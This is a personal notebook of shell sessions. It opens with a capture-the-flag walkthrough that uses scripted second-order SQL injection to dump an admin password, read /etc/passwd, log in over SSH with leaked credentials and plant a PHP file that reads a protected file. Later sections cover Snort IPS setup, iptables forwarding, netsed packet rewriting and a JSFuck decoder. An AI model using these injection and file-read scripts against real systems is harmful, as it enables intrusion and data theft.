# NotSoSecure CTF October 2k13

# curl --silent --request POST --data "myusername=mu&mypassword=mp" http://ctf.notsosecure.com/71367217217126217712/checklogin.php | xxd -p -r ; echo
secret_register.html
# cat console
#!/bin/bash

echo -n "> "
while read line; do 
 username=`echo -n "$line" | sed -e "s/'/%27/g" -e 's/ /+/g'`
 curl --silent --cookie-jar nss --cookie nss --request GET "http://ctf.notsosecure.com/71367217217126217712/register.php?regname=$username&regemail=mail&regpass1=pass&regpass2=pass" > /dev/null 2>&1
 curl --silent --cookie-jar nss --cookie nss --request POST --data "myusername=$line&mypassword=pass" "http://ctf.notsosecure.com/71367217217126217712/checklogin.php" > /dev/null 2>&1
 curl --silent --cookie-jar nss --cookie nss "http://ctf.notsosecure.com/71367217217126217712/uber_secret.php" > /dev/null 2>&1
 osi=`tail -n1 nss | awk '{print $7}'`
 echo $osi | sed 's/%3D/=/g' | base64 -d ; echo
 echo -n "> "
done
# ./console
> ' and false union select table_name,null from information_schema.columns where table_schema not like '%_schema' and table_schema!='mysql' group by table_name limit 2,1 --
users
> ' and false union select column_name,null from information_schema.columns where table_name='users' limit 2,1 --
password
> ' and false union select password,null from users where name='admin' --
sqlilabRocKs!!
# curl --silent --cookie-jar nss --cookie nss --request POST --data 'myusername=admin&amypassword=sqlilabRocKs!!' "http://ctf.notsosecure.com/71367217217126217712/checklogin.php"
# curl --silent --cookie-jar nss --cookie nss "http://ctf.notsosecure.com/71367217217126217712/uber_secret.php" | grep -A 3 Success
   <h1>Success!</h1><br><a href='login.php'> click here to go back</a><br>
<div>Well done, Flag is 815290. 2nd flag is in file secret.txt</div>
<h3 class="h3_admin">You are Admin!</h3>
    <div><img src="images/login/smiley.gif"></div>
# cat secret
#!/bin/bash

echo -n "> "
while read line; do 
 echo "'$line'"
 mu="' and false union select load_file('$line'),null -- 123"
 username=`echo -n "$mu" | sed -e "s/'/%27/g" -e 's/ /+/g'`
 echo $username 
 curl --silent --cookie-jar nss --cookie nss --request GET "http://ctf.notsosecure.com/71367217217126217712/register.php?regname=$username&regemail=mail&regpass1=pass&regpass2=pass" > /dev/null 2>&1
 curl --silent --cookie-jar nss --cookie nss --request POST --data "myusername=$mu&mypassword=pass" "http://ctf.notsosecure.com/71367217217126217712/checklogin.php" > /dev/null 2>&1
 curl --silent --cookie-jar nss --cookie nss "http://ctf.notsosecure.com/71367217217126217712/uber_secret.php" > /dev/null 2>&1
 osi=`tail -n1 nss | awk '{print $7}'`
 echo $osi | sed 's/%3D/=/g' | base64 -d ; echo
 echo -n "> "
done
# ./secret
> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:107:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ctf:x:1000:1000:,,,:/home/ctf:/bin/bash
temp123:x:1001:1001:weakpassword1:/home/temp123:/bin/sh
ntop:x:108:116::/var/lib/ntop:/bin/false
# ssh temp123@ctf.notsosecure.com
temp123@ctf.notsosecure.com's password:weakpassword1
$ find / -name secret.txt 2> /dev/null
/tmp/secret.txt
/secret.txt
$ cat /tmp/secret.txt
n0th1ng to s33...
$ cat /secret.txt
cat: /secret.txt: Permission denied
$ ls -l /secret.txt
-r-------- 1 www-data www-data 684 Oct 25 07:46 /secret.txt
$ cat /home/temp123/.* | less
$ cd /var/www
$ ls -l
total 40
drwxr-xr-x 4 root root 4096 Oct 25 07:47 71367217217126217712
drwxr-xr-x 3 root root 4096 Oct  7 22:17 css
drwxr-xr-x 4 root root 4096 Oct  7 22:17 ctf
drwxr-xr-x 3 root root 4096 Oct  7 21:59 ctf-ver3
-rw-r--r-- 1 root root  894 Sep 12 08:20 favicon.ico
drwxr-xr-x 2 root root 4096 Oct  7 22:17 img
-rw-r--r-- 1 root root  177 Oct  4 19:43 _index.html
-rw-r--r-- 1 root root 3929 Oct  9 08:04 index.html
-rw-r--r-- 1 root root 2654 Oct  7 22:17 index.html.bak
drwxr-xr-x 4 root root 4096 Oct 27 10:03 leaderboard
$ cd 71367217217126217712
$ ls -l
total 60
-rw-r--r-- 1 root root 1327 Oct 25 07:41 checklogin.php
drwxr-xr-x 2 root root 4096 Oct 22 09:54 css
-rw-r--r-- 1 root root 1607 Oct 22 07:47 error.php
-rw-r--r-- 1 root root  894 Oct 22 02:04 favicon.ico
drwxr-xr-x 4 root root 4096 Oct 22 02:04 images
-rw-r--r-- 1 root root 2092 Oct 22 07:44 index.php
-rw-r--r-- 1 root root 2092 Oct 22 07:45 login.php
-rw-r--r-- 1 root root  991 Oct 22 08:16 _Logout.php
-rw-r--r-- 1 root root 1238 Oct 22 09:40 Logout.php
-rw-r--r-- 1 root root 3040 Oct 22 08:00 _register.php
-rw-r--r-- 1 root root 3060 Oct 25 07:47 register.php
-rw-r--r-- 1 root root 1745 Oct 22 07:53 _secret_register.html
-rw-r--r-- 1 root root 1882 Oct 23 14:26 secret_register.html
-rw-r--r-- 1 root root 3324 Oct 22 08:05 _uber_secret.php
-rw-r--r-- 1 root root 3316 Oct 25 07:47 uber_secret.php
$ cat uber_secret.php
<?php
error_reporting(0);
session_start();
if(!session_is_registered(myusername)){
header("location:login.php");
die;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>SQL</title>
<link rel="stylesheet" href="css/screen.css" type="text/css" media="screen" title="default" />

</head>
<body> 

<div id="page-top-outer">    

<div id="page-top">

 <div id="logo">
 </div>

 <div id="top-search">
  <table border="0" cellpadding="0" cellspacing="0">
  <tr>
  <td>
  <a href="Logout.php"><button>Logout</button></a>
  </td>
  </tr>
  </table>
 </div>

  <div class="clear"></div>

</div>
</div> 
<div class="clear"> </div><br />
<div class="clear"></div>
<div id="content-outer">
<div id="content">
 <div id="page-heading">
 </div>
<table border="0" width="100%" cellpadding="0" cellspacing="0" id="content-table">
 <tr>
  <th rowspan="3" class="sized"><img src="images/shared/side_shadowleft.jpg" width="20" height="300" alt="" /></th>
  <th class="topleft"></th>
  <td id="tbl-border-top"> </td>
  <th class="topright"></th>
  <th rowspan="3" class="sized"><img src="images/shared/side_shadowright.jpg" width="20" height="300" alt="" /></th>
 </tr>
 <tr>
  <td id="tbl-border-left"></td>
  <td>
  <div id="content-table-inner">

   <div id="table-content">
   <?php if($_SESSION['myusername']=='admin')
{?>
<h1>Success!</h1><br><a href='login.php'> click here to go back</a><br>
<div><?echo "Well done, Flag is 815290. 2nd flag is in file secret.txt";?></div>
<h3 class="h3_admin">You are Admin!</h3>
    <div><img src="images/login/smiley.gif"></div>
<?php }
 else { ?>
   <h3 class="h3_admin">You are not Admin!</h3>
    <div><img src="images/login/sad smiely.gif"></div>
   
   </div>
   <div style="padding-left:350px;font-weight:bold; font-size:20px;color:#92B22C;">
<?php
$host="localhost"; 
$username="2ndorder"; 
$password="2ndorder"; 
$db_name="2ndorder"; 
$tbl_name="users"; 
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");

$sql="SELECT email,name FROM $tbl_name WHERE name='".$_SESSION['myusername']." '";

$result=mysql_query($sql);
$row = mysql_fetch_row($result);
$login1=$row[0];

echo "Logged in as <b>".htmlentities($_SESSION['myusername'])."</b><br>";?> 
<?
setcookie(session_id,base64_encode($login1));
?> 
</div>
 <?php } ?>
   <div class="clear"></div>
   
  </div>
  </td>
  <td id="tbl-border-right"></td>
 </tr>
 <tr>
  <th class="sized bottomleft"></th>
  <td id="tbl-border-bottom"> </td>
  <th class="sized bottomright"></th>
 </tr>
 </table>
 <div class="clear"> </div>
</div>
<div class="clear"> </div>
</div>
<div class="clear"> </div>
 
 <div class="footer">
  <ul>
   <li style="margin-top: 20px;">powered by</li>
   <li><a href="http://www.securitytube-training.com/virtual-labs/sql-injection-labs/">
    <img src="images/login/sql.jpg" class="img_login">
   </a></li>
   <li style="margin-top: 20px;">© NotSoSecure</li>
  </ul>
 </div>
</body>
</html>
$ cat register.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>SQLi labs</title>
<link rel="stylesheet" href="css/screen.css" type="text/css" media="screen" title="default" />
<link rel="shortcut icon" href="../favicon.ico">


</head>
<body> 

<div id="page-top-outer">    


<div id="page-top">

 
 <div id="logo">
 </div>

 
 
 <div id="top-search">
  <table border="0" cellpadding="0" cellspacing="0">
  <tr>
  <td>
  
  </td>
  </tr>
  </table>
 </div>
  
  <div class="clear"></div>

</div>

</div>
 
<div class="clear"> </div>
  <div class="clear"></div>
<div id="content-outer">
<div id="content">
 <div id="page-heading">
 </div>
 <table border="0" width="100%" cellpadding="0" cellspacing="0" id="content-table">
 <tr>
  <th rowspan="3" class="sized"><img src="images/shared/side_shadowleft.jpg" width="20" height="300" alt="" /></th>
  <th class="topleft"></th>
  <td id="tbl-border-top"> </td>
  <th class="topright"></th>
  <th rowspan="3" class="sized"><img src="images/shared/side_shadowright.jpg" width="20" height="300" alt="" /></th>
 </tr>
 <tr>
  <td id="tbl-border-left"></td>
  <td>
  <div id="content-table-inner">
   <div id="table-content">
   <?php
error_reporting(0);
if($_GET["regname"] && $_GET["regemail"] && $_GET["regpass1"] && $_GET["regpass2"] )
{
if($_GET["regpass1"]==$_GET["regpass2"])
{
$servername="localhost";
$username="2ndorder";
$conn= mysql_connect($servername,$username,'2ndorder','2ndorder')or die(mysql_error());
mysql_select_db("2ndorder",$conn);
$sql1="select * from users where name ='".mysql_real_escape_string($_REQUEST['regname'])."'";
$result1=mysql_query($sql1);
$row1 = mysql_fetch_row($result1);
$count1=mysql_num_rows($result1);
if ($count1>0)
{
echo "<a href='login.php'>click here to login</a><br>";
die("User Already Exist");
}
$sql="insert into users (name,email,password)values('".mysql_real_escape_string($_GET[regname])."','".mysql_real_escape_string($_GET[regemail])."','".mysql_real_escape_string($_GET[regpass1])."')";
$result=mysql_query($sql,$conn) or die(mysql_error());
print "You have sucessfully registered!<br>";
print "<a href='login.php'>go to login page</a>";
}
else print "passwords don't match";
}
else { ?> <div class="register_invelid">Invaild data</div>
<?php }
?>
</div>
   <div class="clear"></div>
  </div>
  </td>
  <td id="tbl-border-right"></td>
 </tr>
 <tr>
  <th class="sized bottomleft"></th>
  <td id="tbl-border-bottom"> </td>
  <th class="sized bottomright"></th>
 </tr>
 </table>
 <div class="clear"> </div>

</div>
<div class="clear"> </div>

<div class="footer">
 <ul>
  <li style="margin-top: 20px;" >powered by</li>
  <li><a href="http://www.securitytube-training.com/virtual-labs/sql-injection-labs/">
   <img class="img_login" src="images/login/sql.jpg">
  </a></li>
  <li style="margin-top: 20px;">© NotSoSecure</li>
 </ul>
 
</div>
</div> 
</body>
</html>
$ apachectl -M
/usr/sbin/apachectl: 87: ulimit: error setting limit (Operation not permitted)
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
Loaded Modules:
 core_module (static)
 log_config_module (static)
 logio_module (static)
 mpm_prefork_module (static)
 http_module (static)
 so_module (static)
 alias_module (shared)
 auth_basic_module (shared)
 authn_file_module (shared)
 authz_default_module (shared)
 authz_groupfile_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 cgi_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 mime_module (shared)
 negotiation_module (shared)
 php5_module (shared)
 reqtimeout_module (shared)
 setenvif_module (shared)
 status_module (shared)
 userdir_module (shared)
Syntax OK
$ cat /etc/apache2/mods-enabled/userdir.conf
<IfModule mod_userdir.c>
        UserDir public_html
        UserDir disabled root

        <Directory /home/*/public_html>
                AllowOverride FileInfo AuthConfig Limit Indexes
                Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
                <Limit GET POST OPTIONS>
                        Order allow,deny
                        Allow from all
                </Limit>
                <LimitExcept GET POST OPTIONS>
                        Order deny,allow
                        Deny from all
                </LimitExcept>
        </Directory>
</IfModule>
$ cd /home/temp123
$ mkdir public_html
$ vi index.php
<?php echo file_get_contents('/secret.txt');
<ESC>:wq
$ exit
# curl --silent http://ctf.notsosecure.com/~temp123/index.php
Well done, 2nd Flag is 128738213812990.

email both the flags to ctf@notsosecure.com with subject CTF FLAGS!

make sure you delete all the files you have created on the server so you dont allow other users easy points by using the files left by you on the server.

Please provide a detailed write up to qualify for cash prize!
The person with best write-up wins. You are allowed to publish the write-up on public site, but please do this after the CTF has finished (sunday, 27th October).

Hope you enjoyed the CTF. This was taken from one of challenges we have on SQLi Labs. To practice more on this visit our SQLi Labs.

The next public CTF will take place in December.

Thanks
Sid

# Vodafone 3G connection with wvdial

# # Modem: Huawei K3806
# cat /etc/wvdial.conf
[Dialer Defaults]
Phone = *99#
Username = vodafone
Password = vodafone
Stupid Mode = 1
Dial Command = ATDT

[Dialer pin]
Init1 = AT+CPIN=1234

[Dialer vodafone]
Modem = /dev/ttyUSB0
Baud = 460800
Init2 = ATZ
Init3 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Init5 =AT+CGDCONT=1,”IP”,”ac.vodafone.es”
ISDN = 0
Modem Type = Analog Modem
# wvdial pin vodafone

# Pulledpork installation and configuration

# apt-get install libcrypt-ssleay-perl liblwp-protocol-https-perl
# cd /usr/local/bin
# curl --silent --location --output pulledpork.pl http://pulledpork.googlecode.com/svn/trunk/pulledpork.pl
# vi pulledpork.pl
---
"$Snort_path -c $Snort_config --dump-dynamic-rules=$Sostubs 2>&1|"
+++
"$Snort_path -Q -c $Snort_config --dump-dynamic-rules=$Sostubs 2>&1|"
# chmod 755 pulledpork.pl
# mkdir /etc/pulledpork
# cd /etc/pulledpork
# sed -i '/^include $RULE_PATH/d' /usr/local/snort/etc/snort.conf
# echo "include \$RULE_PATH/snort.rules" >> /usr/local/snort/etc/snort.conf
# echo "include \$RULE_PATH/local.rules" >> /usr/local/snort/etc/snort.conf
# rm /usr/local/snort/rules/*.rules
# touch /usr/local/snort/rules/snort.rules
# touch /usr/local/snort/rules/local.rules
# touch /usr/local/snort/rules/white_list.rules
# cat pulledpork.conf
rule_url=https://www.snort.org/reg-rules/|snortrules-snapshot.tar.gz|<oinkcode>
rule_url=https://s3.amazonaws.com/snort-org/www/rules/community/|community-rules.tar.gz|Community
rule_url=http://labs.snort.org/feeds/ip-filter.blf|IPBLACKLIST|open
rule_url=https://www.snort.org/reg-rules/|opensource.gz|<oinkcode>
rule_url=https://rules.emergingthreatspro.com/|emerging.rules.tar.gz|open
ignore=deleted.rules,experimental.rules,local.rules
temp_path=/tmp
rule_path=/usr/local/snort/rules/snort.rules
local_rules=/usr/local/snort/rules/local.rules
sid_msg=/usr/local/snort/etc/sid-msg.map
sid_msg_version=1
sid_changelog=/var/log/snort/sid_changes.log
sorule_path=/usr/local/snort/lib/snort_dynamicrules
snort_path=/usr/local/snort/bin/snort
config_path=/usr/local/snort/etc/snort.conf
# Ubuntu-8.04, Ubuntu-10-4
distro=Ubuntu-12-04
black_list=/usr/local/snort/rules/black_list.rules
IPRVersion=/usr/local/snort/rules/iplists
#snort_control=/usr/local/bin/snort_control
version=0.7.0
# pulledpork.pl -c /etc/pulledpork/pulledpork.conf

# Combinatoric generator

# cat combgen
#!/usr/bin/python

# Combinatoric generator

from sys import argv
from itertools import combinations, permutations, product

f=argv[1]
r=int(argv[2])
n=argv[3::]

def doprint(r):
        for i in r:
                for j in i:
                        print j,
                print

def calc_combination(n,r):
        fr=1
        for i in range(0,r):
                fr=fr*(i+1)
        return calc_permutation(n,r)/fr

def calc_permutation(n,r):
        ln=len(n)
        lnr=ln-r
        fn=1
        for i in range(0,ln):
                fn=fn*(i+1)
        fnr=1
        for i in range(0,lnr):
                fnr=fnr*(i+1)
        return fn/fnr

def calc_product(n,r):
        ln=len(n)
        return ln**r

def help():
        print "Usage: combgen <combination|permutation|product> <r> <n>"

if      f == 'combination':
        print "Combinations = ",calc_combination(n,r)
        doprint(combinations(n,r))
elif    f == 'permutation':
        print "Permutations =",calc_permutation(n,r)
        doprint(permutations(n,r))
elif    f == 'product':
        print "Products =",calc_product(n,r)
        doprint(product(n,repeat=r))
else:
        help()

# forwarder: forward all incoming connections to other host

# cat forwarder
#!/bin/bash

action="$1"
source="$2"
listener="$3"
target="$4"

in='iptables --table nat'

case $action in
start)
        echo 1 > /proc/sys/net/ipv4/ip_forward
        $in --append PREROUTING \
                --source $source --destination $listener \
                --jump DNAT --to-destination $target
        $in --append POSTROUTING \
                --source $source --destination $target \
                --jump SNAT --to-source $listener
        ;;
stop)
        $in --delete PREROUTING \
                --source $source --destination $listener \
                --jump DNAT --to-destination $target
        $in --delete POSTROUTING \
                --source $source --destination $target \
                --jump SNAT --to-source $listener
        ;;
status)
        $in --numeric --list --line-numbers
        ;;
clean)
        $in --flush
esac
# ./forwarder start 192.168.1.1 192.168.1.2 8.8.8.8

# netsed: modify network packets on-the-fly

Bridge mode

# # eth0 = outside & eth1 = inside
# ifconfig eth0 promisc up
# ifconfig eth1 promisc up
# brctl addbr br0
# brctl addif br0 eth0 eth1
# ifconfig br0 192.168.1.111/24 up
# iptables --table nat -A PREROUTING --match physdev --physdev-in eth0 --source 192.168.1.0/24 --protocol tcp --dport 80 --jump REDIRECT --to-port 1080
# # --match physdev --physdev-in eth0 | --in-interface br0
# netsed tcp 1080 0 0 's/Accept-Encoding/4ccept-Encoding' 's/Never/Forever'

Host mode

# iptables --table nat -A PREROUTING --in-interface eth0 --source 192.168.1.0/24 --protocol tcp --dport 80 --jump REDIRECT --to-port 1080
# netsed tcp 1080 0 0 's/Accept-Encoding/4ccept-Encoding' 's/Never/Forever'

# Snort IPS: afpacket and nfq

# apt-get install build-essential
# apt-get install bison flex
# apt-get install libpcap-dev
# apt-get install libpcre3-dev
# apt-get install libnet1-dev
# apt-get install zlib1g-dev
# apt-get install libnetfilter-queue-dev # daq: nfq

# curl --silent --location --output libdnet-1.12.tgz http://libdnet.googlecode.com/files/libdnet-1.12.tgz
# tar xvzf libdnet-1.12.tgz
# cd libdnet-1.12
# ./configure "CFLAGS=-fPIC -g -O2"
# make
# make install
# ln -s /usr/local/lib/libdnet.1.0.1 /usr/lib/libdnet.1
# cd ..

# curl --silent --location --output daq-2.0.1.tar.gz https://www.snort.org/downloads/2546
# tar xvzf daq-2.0.1.tar.gz
# cd daq-2.0.1
# ./configure
# make
# make install
# cd ..

# curl --silent --location --output snort-2.9.5.3.tar.gz https://www.snort.org/downloads/2485
# tar xvzf snort-2.9.5.3.tar.gz
# cd snort-2.9.5.3
# ./configure --prefix=/usr/local/snort --enable-sourcefire
# make
# make install
# cd ..

# mkdir /var/log/snort
# groupadd snort
# useradd -g snort snort
# chown snort:snort /var/log/snort

# curl --silent --location --output snortrules-snapshot-2953.tar.gz http://www.snort.org/reg-rules/snortrules-snapshot-2953.tar.gz/<oinkcode>
# tar xvzf snortrules-snapshot-2953.tar.gz -C /usr/local/snort
# mkdir /usr/local/snort/lib/snort_dynamicrules
# cp /usr/local/snort/so_rules/precompiled/Ubuntu-12-04/x86-64/2.9.5.3/* /usr/local/snort/lib/snort_dynamicrules/.
# touch /usr/local/snort/rules/white_list.rules
# touch /usr/local/snort/rules/black_list.rules
# ldconfig

# vi /usr/local/snort/etc/snort.conf
---
var WHITE_LIST_PATH ../rules
var BLACK_LIST_PATH ../rules
+++
var WHITE_LIST_PATH /usr/local/snort/rules
var BLACK_LIST_PATH /usr/local/snort/rules

---
dynamicpreprocessor directory /usr/local/lib/snort_dynamicpreprocessor/
dynamicengine /usr/local/lib/snort_dynamicengine/libsf_engine.so
dynamicdetection directory /usr/local/lib/snort_dynamicrules
+++
dynamicpreprocessor directory /usr/local/snort/lib/snort_dynamicpreprocessor/
dynamicengine /usr/local/snort/lib/snort_dynamicengine/libsf_engine.so
dynamicdetection directory /usr/local/snort/lib/snort_dynamicrules

# ifconfig eth0 promisc up
# ifconfig eth1 promisc up

afpacket (L2)

# vi /usr/local/snort/etc/snort.conf
+++
config daq: afpacket
config daq_mode: inline

# /usr/local/snort/bin/snort -m 027 -d -l /var/log/snort -u snort -g snort -c /usr/local/snort/etc/snort.conf -Q -i eth0:eth1 -S HOME_NET=[192.168.1.0/24]

nfq (L3)

# vi /usr/local/snort/etc/snort.conf
+++
config daq: nfq
config daq_mode: inline
config daq_var: queue=0

# iptables --append FORWARD --jump NFQUEUE --queue-num 0
# /usr/local/snort/bin/snort -m 027 -d -l /var/log/snort -u snort -g snort -c /usr/local/snort/etc/snort.conf -Q -S HOME_NET=[192.168.1.0/24]

# W0PR wargame

# curl --silent --output wargame.html http://w0pr.net
# sed -n 's/.*<script>\(.*\)<\/script>.*/\1/p' wargame.html > source.js
# cat dehieroglyphy
#!/bin/bash

ifile="$1"
ofile="$ifile.decoded"

cp $ifile $ofile

function escape(){
        echo $* | sed -e "s/\[/\\\[/g" -e "s/\]/\\\]/g" -e "s/ /\\\ /g"
}

number_0='+[]'
number_1='+!![]'
number_2='!+[]+!![]'
number_3='!+[]+!![]+!![]'
number_4='!+[]+!![]+!![]+!![]'
number_5='!+[]+!![]+!![]+!![]+!![]'
number_6='!+[]+!![]+!![]+!![]+!![]+!![]'
number_7='!+[]+!![]+!![]+!![]+!![]+!![]+!![]'
number_8='!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]'
number_9='!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]'

character_0="($number_0+[])"
character_1="($number_1+[])"
character_2="($number_2+[])"
character_3="($number_3+[])"
character_4="($number_4+[])"
character_5="($number_5+[])"
character_6="($number_6+[])"
character_7="($number_7+[])"
character_8="($number_8+[])"
character_9="($number_9+[])"

_object_Object='[]+{}'
_NaN='+{}+[]'
_true='!![]+[]'
_false='![]+[]'
_undefined='[][[]]+[]'

character_blank="($_object_Object)[$number_7]"
character_leftsquarebracket="($_object_Object)[$number_0]"
character_rightsquarebracket="($_object_Object)[$character_1+$character_4]"
character_a="($_NaN)[$number_1]"
character_b="($_object_Object)[$number_2]"
character_c="($_object_Object)[$number_5]"
character_d="($_undefined)[$number_2]"
character_e="($_undefined)[$number_3]"
character_f="($_undefined)[$number_4]"
character_i="($_undefined)[$number_5]"
character_j="($_object_Object)[$number_3]"
character_l="($_false)[$number_2]"
character_n="($_undefined)[$number_1]"
character_o="($_object_Object)[$number_1]"
character_r="($_true)[$number_1]"
character_s="($_false)[$number_3]"
character_t="($_true)[$number_0]"
character_u="($_undefined)[$number_0]"
character_N="($_NaN)[$number_0]"
character_O="($_object_Object)[$number_8]"

_Infinity="+($number_1+$character_e+$character_1+$character_0+$character_0+$character_0)+[]"

character_y="($_Infinity)[$number_7]"
character_I="($_Infinity)[$number_0]"

_1e100="+($number_1+$character_e+$character_1+$character_0+$character_0)+[]"
character_plus="($_1e100)[$number_2]"

sed -i "s/`escape $character_plus`/+/g" $ofile
sed -i "s/`escape $character_I`/I/g" $ofile
sed -i "s/`escape $character_y`/y/g" $ofile
sed -i "s/`escape $character_O`/O/g" $ofile
sed -i "s/`escape $character_N`/N/g" $ofile
sed -i "s/`escape $character_u`/u/g" $ofile
sed -i "s/`escape $character_t`/t/g" $ofile
sed -i "s/`escape $character_s`/s/g" $ofile
sed -i "s/`escape $character_r`/r/g" $ofile
sed -i "s/`escape $character_o`/o/g" $ofile
sed -i "s/`escape $character_n`/n/g" $ofile
sed -i "s/`escape $character_l`/l/g" $ofile
sed -i "s/`escape $character_j`/j/g" $ofile
sed -i "s/`escape $character_i`/i/g" $ofile
sed -i "s/`escape $character_f`/f/g" $ofile
sed -i "s/`escape $character_e`/e/g" $ofile
sed -i "s/`escape $character_d`/d/g" $ofile
sed -i "s/`escape $character_c`/c/g" $ofile
sed -i "s/`escape $character_b`/b/g" $ofile
sed -i "s/`escape $character_a`/a/g" $ofile
sed -i "s/`escape $character_rightsquarebracket`/]/g" $ofile
sed -i "s/`escape $character_leftsquarebracket`/[/g" $ofile
sed -i "s/`escape $character_blank`/ /g" $ofile
sed -i "s/`escape $character_9`/9/g" $ofile
sed -i "s/`escape $character_8`/8/g" $ofile
sed -i "s/`escape $character_7`/7/g" $ofile
sed -i "s/`escape $character_6`/6/g" $ofile
sed -i "s/`escape $character_5`/5/g" $ofile
sed -i "s/`escape $character_4`/4/g" $ofile
sed -i "s/`escape $character_3`/3/g" $ofile
sed -i "s/`escape $character_2`/2/g" $ofile
sed -i "s/`escape $character_1`/1/g" $ofile
sed -i "s/`escape $character_0`/0/g" $ofile
sed -i "s/`escape $number_9`/9/g" $ofile
sed -i "s/`escape $number_8`/8/g" $ofile
sed -i "s/`escape $number_7`/7/g" $ofile
sed -i "s/`escape $number_6`/6/g" $ofile
sed -i "s/`escape $number_5`/5/g" $ofile
sed -i "s/`escape $number_4`/4/g" $ofile
sed -i "s/`escape $number_3`/3/g" $ofile
sed -i "s/`escape $number_2`/2/g" $ofile
sed -i "s/`escape $number_1`/1/g" $ofile

functionConstructor="[][s+o+r+t][c+o+n+s+t+r+u+c+t+o+r]"
returnLocation="([]+$functionConstructor(r+e+t+u+r+n+ +l+o+c+a+t+i+o+n)())"
character_h="$returnLocation[0]"
character_p="$returnLocation[3]"
character_slash="$returnLocation[6]"

sed -i "s/`escape $character_h`/h/g" $ofile
sed -i "s/`escape $character_p`/p/g" $ofile
sed -i "s/`escape $character_slash`/\//g" $ofile

_unescape="$functionConstructor(r+e+t+u+r+n+ +u+n+e+s+c+a+p+e)()"
_escape="$functionConstructor(r+e+t+u+r+n+ +e+s+c+a+p+e)()"

character_percentage="$_escape([)[+[]]"
sed -i "s/`escape $character_percentage`/%/g" $ofile

for i in {2..7}; do
        for j in {0..9} {a..e}; do
                char=`printf "\x$i$j\n"`
                if [ "$char" == '\' ]; then char='\\'; fi
                match="$_unescape(%+$i+$j)"
                sed -i "s/`escape $match`/$char/g" $ofile
        done
done

sed -i "s/`escape $functionConstructor`/Function/" $ofile
sed -i "s/+//g" $ofile

cat $ofile
# ./dehieroglyphy source.js
Function(setInterval(function(){var a = document.getElementById('blinking');if (a.style.display == 'none') a.style.display = 'inline';else a.style.display = 'none';}, 500 );)()

References

https://github.com/alcuadrado/hieroglyphy/blob/master/hieroglyphy.js

# NcN CTF Quals 2k13

Access Level 1

# curl http://ctf.noconname.org/4cbe48a830c4cd2d4ac9e6e9373e3055/index.html
<!DOCTYPE html>
<html>
  <head>
    <title>NcN 2013 Registration Quals</title>
                <link rel="stylesheet" href="../res/main.css" type="text/css" media="screen"/>
    <link href='../res/UbuntuMono.css' rel='stylesheet' type='text/css'>
    <meta content="Javier Marcos @javutin" name="author" />
        <script type="text/javascript" src="crypto.js"></script>
        </head>
<body>
        <div id="level">
        <center>
                <h2 style="color: white">Discover the buried valid key:</h2>
    <form action="login.php" method="POST" onsubmit="return encrypt(this);">
    <table border=0 align="center">
     <tr>
        <td><label style="color: white" for="key"><b>Key: </b></label></td>
        <td><input type="text" name="password" id="password" class="input"></td>
                                        <input type="hidden" name="key" id="key" value="">
                                        <input type="hidden" name="verification" id="verification" value="yes">
     </tr>
     <tr>
        <td colspan="2" align="center"><p><input type="submit" name="send" class="button" value="Send"></p></td>
     </tr>
    </table>
    </form>
        </center>
        </div>
</body>
</html>
# curl --silent http://ctf.noconname.org/4cbe48a830c4cd2d4ac9e6e9373e3055/crypto.js | sed 's/eval/console.log/'
